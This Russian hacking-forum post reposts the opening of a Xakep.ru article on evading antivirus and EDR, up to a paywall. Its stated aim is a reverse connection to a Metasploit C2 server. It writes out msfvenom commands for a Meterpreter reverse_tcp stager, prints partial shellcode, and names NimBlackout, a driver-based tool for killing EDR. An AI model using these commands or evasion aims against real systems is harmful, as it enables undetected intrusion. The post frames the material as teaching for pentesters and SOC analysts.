Ques/Help/Req Апгрейды для шелл-кода. Изучаем инструменты обхода антивирусов и EDR

XakeR

Member
Регистрация
13.05.2006
Сообщения
1 912
Реакции
0
Баллы
16
Местоположение
Ukraine
Антивирусы и системы EDR становятся всё навороченнее и даже используют машинное обучение для более точного детектирования. Но у авторов малвари по‑прежнему остаются способы обойти все проверки. В этой статье я покажу несколько техник и инструментов, которые применяют злоумышленники.

Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).

warning​


Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.



На чем мы тестировали​


Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.

Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.

За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.

Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe Результаты проверки на VirusTotal

То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.

Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.

Вот как выглядит наш первоначальный шелл‑код:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c

[-] No platform was selected, choosing Msf::Module::platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of c file: 1518 bytes

unsigned char buf[] =
«xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89»
«xe5x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26»



«x5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxff»
«xffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6a»
«x00x53xffxd5»;

Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.



Что нового в мире AV/EDR​


В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.

И конечно, по‑прежнему актуальны старые методы:

  • эвристический анализ;
  • сигнатурный анализ
  • сендбоксинг;
  • IAT checking (проверка используемых функций и библиотек. Например, если в IAT есть функции шифрования, то EDR может решить, что перед ним шифровальщик);
  • API hooking (перехват вызовов функций и перенаправление потока кода).

В общем, чем дальше, тем больше всяких проверок.

info​


На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.



Фреймворки для обхода AV/EDR​




NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.

Присоединяйся к сообществу «Xakep.ru»!​


Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

-60%

1 год​


9990 рублей 4000 р.


[TD]

1 месяц​


920 р.
[/TD]

Я уже участник «Xakep.ru»
 
198 160Темы
635 131Сообщения
3 618 411Пользователи
Semifistokl22Новый пользователь
Верх